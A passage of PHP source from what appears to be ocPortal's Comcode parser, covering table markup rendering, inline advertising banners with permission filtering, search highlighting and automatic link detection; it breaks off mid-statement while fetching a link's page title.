ocp_mark_as_escaped($continuation);\n\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach($continuation);\n\t\t\t\t\t\t\t\t\t\t\t$continuation='';\n\t\t\t\t\t\t\t\t\t\t\t$pos+=strlen($code)-1;\n\t\t\t\t\t\t\t\t\t\t\t$differented=true;\n\t\t\t\t\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($replacement);\n\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach($replacement);\n\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tif (($textual_area) && (!$in_code_tag) && (trim($next)!='') && (!$differented))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t// Table syntax\n\t\t\t\t\t\t\t\tif (!$differented)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tif (($pos<$len) && ($comcode[$pos]=='|'))\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$end_tbl=strpos($comcode,chr(10).'|}',$pos);\n\t\t\t\t\t\t\t\t\t\tif ($end_tbl!==false)\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t$end_fst_line_pos=strpos($comcode,chr(10),$pos);\n\t\t\t\t\t\t\t\t\t\t\t$caption=substr($comcode,$pos+2,max($end_fst_line_pos-$pos-2,0));\n\t\t\t\t\t\t\t\t\t\t\t$pos+=strlen($caption)+1;\n\n\t\t\t\t\t\t\t\t\t\t\t$rows=preg_split('#(\\|-|\\|\\})#Um',substr($comcode,$pos,$end_tbl-$pos));\n\t\t\t\t\t\t\t\t\t\t\tif (preg_match('#(^|\\s)floats($|\\s)#',$caption)!=0)\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t$caption=preg_replace('#(^|\\s)floats($|\\s)#','',$caption);\n\n\t\t\t\t\t\t\t\t\t\t\t\t$ratios=array();\n\t\t\t\t\t\t\t\t\t\t\t\t$ratios_matches=array();\n\t\t\t\t\t\t\t\t\t\t\t\tif (preg_match('#(^|\\s)([\\d\\.]+%(:[\\d\\.]+%)*)($|\\s)#',$caption,$ratios_matches)!=0)\n\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t$ratios=explode(':',$ratios_matches[2]);\n\t\t\t\t\t\t\t\t\t\t\t\t\t$caption=str_replace($ratios_matches[0],'',$caption);\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\t\tforeach ($rows as $h=>$row)\n\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\tif ($h!=0) $tag_output->attach(do_template('BLOCK_SEPARATOR'));\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t$cells=preg_split('/(\\n\\! | \\!\\! |\\n\\| | \\|\\| )/',$row,-1,PREG_SPLIT_DELIM_CAPTURE);\n\t\t\t\t\t\t\t\t\t\t\t\t\tarray_shift($cells); // First one is non-existant empty\n\t\t\t\t\t\t\t\t\t\t\t\t\t$spec=true;\n\t\t\t\t\t\t\t\t\t\t\t\t\t$num_cells_in_row=count($cells)/2;\n\t\t\t\t\t\t\t\t\t\t\t\t\t$inter_padding=3.0;\n\t\t\t\t\t\t\t\t\t\t\t\t\t$total_box_width=(100.0-$inter_padding*($num_cells_in_row-1));\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t// Find which to float\n\t\t\t\t\t\t\t\t\t\t\t\t\t$to_float=NULL;\n\t\t\t\t\t\t\t\t\t\t\t\t\tforeach ($cells as $i=>$cell)\n\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tif (!$spec)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif ((strpos($cell,'!')!==false) || (is_null($to_float))) $to_float=$i;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$spec=!$spec;\n\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach(do_template('COMCODE_FAKE_TABLE_WRAP_START'));\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t// Do floated one\n\t\t\t\t\t\t\t\t\t\t\t\t\t$i_dir_1=(($to_float==1)?'left':'right');\n\t\t\t\t\t\t\t\t\t\t\t\t\t$i_dir_2=(($to_float!=1)?'left':'right');\n\t\t\t\t\t\t\t\t\t\t\t\t\tif ($num_cells_in_row===1)\n\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$padding_amount='0';\n\t\t\t\t\t\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$padding_amount=float_to_raw_string($inter_padding,2);\n\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\tif (preg_match('#(^|\\s)wide($|\\s)#',$caption)!=0)\n\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$cell_i=($to_float===1)?0:(count($cells)-1);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tif (array_key_exists($cell_i,$ratios))\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$width=$ratios[$cell_i];\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$width=float_to_raw_string($total_box_width/$num_cells_in_row,2).'%';\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach(do_template('COMCODE_FAKE_TABLE_WIDE_START',array('_GUID'=>'ced8c3a142f74296a464b085ba6891c9','WIDTH'=>$width,'FLOAT'=>$i_dir_1,'PADDING'=>($to_float==1)?'':'-left','PADDING_AMOUNT'=>$padding_amount)));\n\t\t\t\t\t\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach(do_template('COMCODE_FAKE_TABLE_START',array('_GUID'=>'90be72fcbb6b9d8a312da0bee5b86cb3','WIDTH'=>array_key_exists($to_float,$ratios)?$ratios[$to_float]:'','FLOAT'=>$i_dir_1,'PADDING'=>($to_float==1)?'':'-left','PADDING_AMOUNT'=>$padding_amount)));\n\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t$attaches_before=count($COMCODE_ATTACHMENTS[$pass_id]);\n\t\t\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach(comcode_text_to_tempcode(isset($cells[$to_float])?rtrim($cells[$to_float]):'',$source_member,$as_admin,60,$pass_id,$connection,$semiparse_mode,$preparse_mode,$in_semihtml,$structure_sweep,$check_only,$highlight_bits,$on_behalf_of_member));\n\t\t\t\t\t\t\t\t\t\t\t\t\tfor ($attach_inspect=$attaches_before;$attach_inspect<count($COMCODE_ATTACHMENTS[$pass_id]);$attach_inspect++)\n\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$COMCODE_ATTACHMENTS[$pass_id][$attach_inspect]['marker']+=strpos($comcode,$cells[$to_float],$pos);\n\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach(do_template('COMCODE_FAKE_TABLE_END'));\n\t\t\t\t\t\t\t\t\t\t\t\t\t// Do non-floated ones\n\t\t\t\t\t\t\t\t\t\t\t\t\t$cell_i=0;\n\t\t\t\t\t\t\t\t\t\t\t\t\tforeach ($cells as $i=>$cell)\n\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tif ($i%2==1)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif ($i!=$to_float)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$padding_amount=float_to_raw_string($inter_padding,2);\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif (array_key_exists($cell_i,$ratios))\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$width=$ratios[$cell_i];\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$width=float_to_raw_string($total_box_width/$num_cells_in_row,2).'%';\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif (preg_match('#(^|\\s)wide($|\\s)#',$caption)!=0)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach(do_template('COMCODE_FAKE_TABLE_WIDE2_START',array('_GUID'=>'9bac42a1b62c5c9a2f758639fcb3bb2f','WIDTH'=>$width,'PADDING_AMOUNT'=>$padding_amount,'FLOAT'=>$i_dir_1,'PADDING'=>(($to_float==1)||($cell_i!=0))?'-left':'')));\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach(do_template('COMCODE_FAKE_TABLE_2_START',array('_GUID'=>'0f15f9d5554635ed7ac154c9dc5c72b8','WIDTH'=>array_key_exists($cell_i,$ratios)?$ratios[$cell_i]:'','FLOAT'=>$i_dir_1,'PADDING'=>(($to_float==1)||($cell_i!=0))?'-left':'','PADDING_AMOUNT'=>$padding_amount)));\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$attaches_before=count($COMCODE_ATTACHMENTS[$pass_id]);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach(comcode_text_to_tempcode(rtrim($cell),$source_member,$as_admin,60,$pass_id,$connection,$semiparse_mode,$preparse_mode,$in_semihtml,$structure_sweep,$check_only,$highlight_bits,$on_behalf_of_member));\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tfor ($attach_inspect=$attaches_before;$attach_inspect<count($COMCODE_ATTACHMENTS[$pass_id]);$attach_inspect++)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$COMCODE_ATTACHMENTS[$pass_id][$attach_inspect]['marker']+=strpos($comcode,$cell,$pos);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach(do_template('COMCODE_FAKE_TABLE_END'));\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$cell_i++;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach(do_template('COMCODE_FAKE_TABLE_WRAP_END'));\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t$ratios=array();\n\t\t\t\t\t\t\t\t\t\t\t\t$ratios_matches=array();\n\t\t\t\t\t\t\t\t\t\t\t\tif (preg_match('#(^|\\s)([\\d\\.]+%(:[\\d\\.]+%)*)($|\\s)#',$caption,$ratios_matches)!=0)\n\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t$ratios=explode(':',$ratios_matches[2]);\n\t\t\t\t\t\t\t\t\t\t\t\t\t$caption=str_replace($ratios_matches[0],'',$caption);\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\t\tif (preg_match('#(^|\\s)wide($|\\s)#',$caption)!=0)\n\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach(do_template('COMCODE_REAL_TABLE_START',array('SUMMARY'=>preg_replace('#(^|\\s)wide($|\\s)#','',$caption))));\n\t\t\t\t\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach(do_template('COMCODE_REAL_TABLE_START_SUMMARY',array('_GUID'=>'0c5674fba61ba14b4b9fa39ea31ff54f','CAPTION'=>$caption)));\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\tforeach ($rows as $table_row)\n\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach(do_template('COMCODE_REAL_TABLE_ROW_START'));\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t$cells=preg_split('/(\\n\\! | \\!\\! |\\n\\| | \\|\\| )/',$table_row,-1,PREG_SPLIT_DELIM_CAPTURE);\n\t\t\t\t\t\t\t\t\t\t\t\t\tarray_shift($cells); // First one is non-existant empty\n\t\t\t\t\t\t\t\t\t\t\t\t\t$spec=true;\n\t\t\t\t\t\t\t\t\t\t\t\t\t$c_type='';\n\t\t\t\t\t\t\t\t\t\t\t\t\t$cell_i=0;\n\t\t\t\t\t\t\t\t\t\t\t\t\tforeach ($cells as $i=>$cell)\n\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tif ($spec)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$c_type=(strpos($cell,'!')!==false)?'th':'td';\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$attaches_before=count($COMCODE_ATTACHMENTS[$pass_id]);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$_mid=comcode_text_to_tempcode(rtrim($cell),$source_member,$as_admin,60,$pass_id,$connection,$semiparse_mode,$preparse_mode,$in_semihtml,$structure_sweep,$check_only,$highlight_bits,$on_behalf_of_member);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tfor ($attach_inspect=$attaches_before;$attach_inspect<count($COMCODE_ATTACHMENTS[$pass_id]);$attach_inspect++)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$COMCODE_ATTACHMENTS[$pass_id][$attach_inspect]['marker']+=strpos($comcode,$cell,$pos);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach(do_template('COMCODE_REAL_TABLE_CELL',array('_GUID'=>'6640df8b503f65e3d36f595b0acf7600','WIDTH'=>array_key_exists($cell_i,$ratios)?$ratios[$cell_i]:'','C_TYPE'=>$c_type,'MID'=>$_mid,'PADDING'=>($cell_i==0)?'':'-left','PADDING_AMOUNT'=>(count($cells)==2)?'0':float_to_raw_string(5.0/(floatval(count($cells)-2)/2.0),2))));\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$cell_i++;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$spec=!$spec;\n\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach(do_template('COMCODE_REAL_TABLE_ROW_END'));\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach(do_template('COMCODE_REAL_TABLE_END'));\n\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\t$pos=$end_tbl+3;\n\t\t\t\t\t\t\t\t\t\t\t$differented=true;\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Advertising\n\t\t\t\t\t\t\t\tif ((!$differented) && (!$semiparse_mode) && (!$in_code_tag) && (addon_installed('banners')) && (($b_all) || (!has_specific_permission($source_member,'banner_free'))))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t// Pick up correctly, including permission filtering\n\t\t\t\t\t\t\t\t\tif (is_null($ADVERTISING_BANNERS))\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$ADVERTISING_BANNERS=array();\n\n\t\t\t\t\t\t\t\t\t\t$rows=$GLOBALS['SITE_DB']->query('SELECT * FROM '.get_table_prefix().'banners b LEFT JOIN '.get_table_prefix().'banner_types t ON b.b_type=t.id WHERE t_comcode_inline=1 AND '.db_string_not_equal_to('b_title_text',''),NULL,NULL,true);\n\t\t\t\t\t\t\t\t\t\tif (!is_null($rows))\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t// Filter out what we don't have permission for\n\t\t\t\t\t\t\t\t\t\t\tif (get_option('use_banner_permissions',true)=='1')\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\trequire_code('permissions');\n\t\t\t\t\t\t\t\t\t\t\t\t$groups=_get_where_clause_groups($source_member);\n\t\t\t\t\t\t\t\t\t\t\t\tif (!is_null($groups))\n\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t$perhaps=collapse_1d_complexity('category_name',$GLOBALS['SITE_DB']->query('SELECT category_name FROM '.get_table_prefix().'group_category_access WHERE '.db_string_equal_to('module_the_name','banners').' AND ('.$groups.')'));\n\t\t\t\t\t\t\t\t\t\t\t\t\t$new_rows=array();\n\t\t\t\t\t\t\t\t\t\t\t\t\tforeach ($rows as $row)\n\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tif (in_array($row['name'],$perhaps)) $new_rows[]=$row;\n\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t$rows=$new_rows;\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\tforeach ($rows as $row)\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t$trigger_text=$row['b_title_text'];\n\t\t\t\t\t\t\t\t\t\t\t\tforeach (explode(',',$trigger_text) as $t)\n\t\t\t\t\t\t\t\t\t\t\t\t\tif (trim($t)!='') $ADVERTISING_BANNERS[trim($t)]=$row;\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t// Apply\n\t\t\t\t\t\t\t\t\tif (!is_null($ADVERTISING_BANNERS))\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tforeach ($ADVERTISING_BANNERS as $ad_trigger=>$ad_bits)\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\tif (strtolower($next)==strtolower($ad_trigger[0])) // optimisation\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\tif (strtolower(substr($comcode,$pos-1,strlen($ad_trigger)))==strtolower($ad_trigger))\n\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\trequire_code('banners');\n\t\t\t\t\t\t\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($continuation);\n\t\t\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach($continuation);\n\t\t\t\t\t\t\t\t\t\t\t\t\t$continuation='';\n\t\t\t\t\t\t\t\t\t\t\t\t\t$differented=true;\n\t\t\t\t\t\t\t\t\t\t\t\t\t$ad_text=show_banner($ad_bits['name'],$ad_bits['b_title_text'],get_translated_tempcode($ad_bits['caption']),$ad_bits['img_url'],'',$ad_bits['site_url'],$ad_bits['b_type']);\n\t\t\t\t\t\t\t\t\t\t\t\t\t$embed_output=_do_tags_comcode('tooltip',array('param'=>$ad_text,'url'=>(url_is_local($ad_bits['site_url']) && ($ad_bits['site_url']!=''))?(get_custom_base_url().'/'.$ad_bits['site_url']):$ad_bits['site_url']),substr($comcode,$pos-1,strlen($ad_trigger)),$comcode_dangerous,$pass_id,$pos,$source_member,$as_admin,$connection,$comcode,$wml,$structure_sweep,$semiparse_mode,$highlight_bits);\n\t\t\t\t\t\t\t\t\t\t\t\t\t$pos+=strlen($ad_trigger)-1;\n\t\t\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach($embed_output);\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Search highlighting lookahead\n\t\t\t\t\t\t\t\tif ((!$differented) && (!is_null($highlight_bits)))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tforeach ($highlight_bits as $highlight_bit)\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tif (strtolower($next)==strtolower($highlight_bit[0])) // optimisation\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\tif (strtolower(substr($comcode,$pos-1,strlen($highlight_bit)))==strtolower($highlight_bit))\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($continuation);\n\t\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach($continuation);\n\t\t\t\t\t\t\t\t\t\t\t\t$continuation='';\n\t\t\t\t\t\t\t\t\t\t\t\t$differented=true;\n\t\t\t\t\t\t\t\t\t\t\t\t$embed_output=_do_tags_comcode('highlight',array(),escape_html(substr($comcode,$pos-1,strlen($highlight_bit))),$comcode_dangerous,$pass_id,$pos,$source_member,$as_admin,$connection,$comcode,$wml,$structure_sweep,$semiparse_mode,$highlight_bits);\n\t\t\t\t\t\t\t\t\t\t\t\t$pos+=strlen($highlight_bit)-1;\n\t\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach($embed_output);\n\t\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Link lookahead\n\t\t\t\t\t\t\t\tif ((!$differented) && (!$in_code_tag))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tif ((!$in_semihtml) && ($next=='h') && ((substr($comcode,$pos-1,strlen('http://'))=='http://') || (substr($comcode,$pos-1,strlen('https://'))=='https://') || (substr($comcode,$pos-1,strlen('ftp://'))=='ftp://')))\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$link_end_pos=strpos($comcode,' ',$pos-1);\n\t\t\t\t\t\t\t\t\t\t$link_end_pos_2=strpos($comcode,chr(10),$pos-1);\n\t\t\t\t\t\t\t\t\t\t$link_end_pos_3=strpos($comcode,'[',$pos-1);\n\t\t\t\t\t\t\t\t\t\t$link_end_pos_4=strpos($comcode,')',$pos-1);\n\t\t\t\t\t\t\t\t\t\t$link_end_pos_5=strpos($comcode,'\"',$pos-1);\n\t\t\t\t\t\t\t\t\t\t$link_end_pos_6=strpos($comcode,'>',$pos-1);\n\t\t\t\t\t\t\t\t\t\t$link_end_pos_7=strpos($comcode,'<',$pos-1);\n\t\t\t\t\t\t\t\t\t\t$link_end_pos_8=strpos($comcode,'.'.chr(10),$pos-1);\n\t\t\t\t\t\t\t\t\t\t$link_end_pos_9=strpos($comcode,', ',$pos-1);\n\t\t\t\t\t\t\t\t\t\t$link_end_pos_10=strpos($comcode,'. ',$pos-1);\n\t\t\t\t\t\t\t\t\t\t$link_end_pos_11=strpos($comcode,\"'\",$pos-1);\n\t\t\t\t\t\t\t\t\t\t$link_end_pos_12=strpos($comcode,'&nbsp;',$pos-1);\n\t\t\t\t\t\t\t\t\t\tif (($link_end_pos_2!==false) && (($link_end_pos===false) || ($link_end_pos_2<$link_end_pos))) $link_end_pos=$link_end_pos_2;\n\t\t\t\t\t\t\t\t\t\tif (($link_end_pos_3!==false) && (($link_end_pos===false) || ($link_end_pos_3<$link_end_pos))) $link_end_pos=$link_end_pos_3;\n\t\t\t\t\t\t\t\t\t\tif (($link_end_pos_4!==false) && (($link_end_pos===false) || ($link_end_pos_4<$link_end_pos))) $link_end_pos=$link_end_pos_4;\n\t\t\t\t\t\t\t\t\t\tif (($link_end_pos_5!==false) && (($link_end_pos===false) || ($link_end_pos_5<$link_end_pos))) $link_end_pos=$link_end_pos_5;\n\t\t\t\t\t\t\t\t\t\tif (($link_end_pos_6!==false) && (($link_end_pos===false) || ($link_end_pos_6<$link_end_pos))) $link_end_pos=$link_end_pos_6;\n\t\t\t\t\t\t\t\t\t\tif (($link_end_pos_7!==false) && (($link_end_pos===false) || ($link_end_pos_7<$link_end_pos))) $link_end_pos=$link_end_pos_7;\n\t\t\t\t\t\t\t\t\t\tif (($link_end_pos_8!==false) && (($link_end_pos===false) || ($link_end_pos_8<$link_end_pos))) $link_end_pos=$link_end_pos_8;\n\t\t\t\t\t\t\t\t\t\tif (($link_end_pos_9!==false) && (($link_end_pos===false) || ($link_end_pos_9<$link_end_pos))) $link_end_pos=$link_end_pos_9;\n\t\t\t\t\t\t\t\t\t\tif (($link_end_pos_10!==false) && (($link_end_pos===false) || ($link_end_pos_10<$link_end_pos))) $link_end_pos=$link_end_pos_10;\n\t\t\t\t\t\t\t\t\t\tif (($link_end_pos_11!==false) && (($link_end_pos===false) || ($link_end_pos_11<$link_end_pos))) $link_end_pos=$link_end_pos_11;\n\t\t\t\t\t\t\t\t\t\tif (($link_end_pos_12!==false) && (($link_end_pos===false) || ($link_end_pos_12<$link_end_pos))) $link_end_pos=$link_end_pos_12;\n\t\t\t\t\t\t\t\t\t\tif ($link_end_pos===false) $link_end_pos=strlen($comcode);\n\t\t\t\t\t\t\t\t\t\t$auto_link=preg_replace('#(keep|for)_session=[\\d\\w]*#','filtered=1',substr($comcode,$pos-1,$link_end_pos-$pos+1));\n\t\t\t\t\t\t\t\t\t\tif (substr($auto_link,-3)!='://')\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\tif (substr($auto_link,-1)=='.')\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t$auto_link=substr($auto_link,0,strlen($auto_link)-1);\n\t\t\t\t\t\t\t\t\t\t\t\t$link_end_pos--;\n\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\t$auto_link_tempcode=new ocp_tempcode();\n\t\t\t\t\t\t\t\t\t\t\t$auto_link_tempcode->attach($auto_link);\n\t\t\t\t\t\t\t\t\t\t\tif (!$check_only)\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t$link_captions_title=$GLOBALS['SITE_DB']->query_value_null_ok('url_title_cache','t_title',array('t_url'=>$auto_link));\n\n\t\t\t\t\t\t\t\t\t\t\t\tif ((is_null($link_captions_title)) || (substr($link_captions_title,0,1)=='!'))\n\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t$GLOBALS['COMCODE_PARSE_URLS_CHECKED']++;\n\t\t\t\t\t\t\t\t\t\t\t\t\tif (($GLOBALS['NO_LINK_TITLES']) || ($GLOBALS['COMCODE_PARSE_URLS_CHECKED']>=MAX_URLS_TO_READ))\n\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$link_captions_title=$auto_link;\n\t\t\t\t\t\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$link_captions_title='';\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$downloaded_at_link=http_download_file($auto_link,3000,false);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tif ((is_string($downloaded_at_link)) && ($GLOBALS['HTTP_DOWNLOAD_MIME_TYPE']!==NULL) && 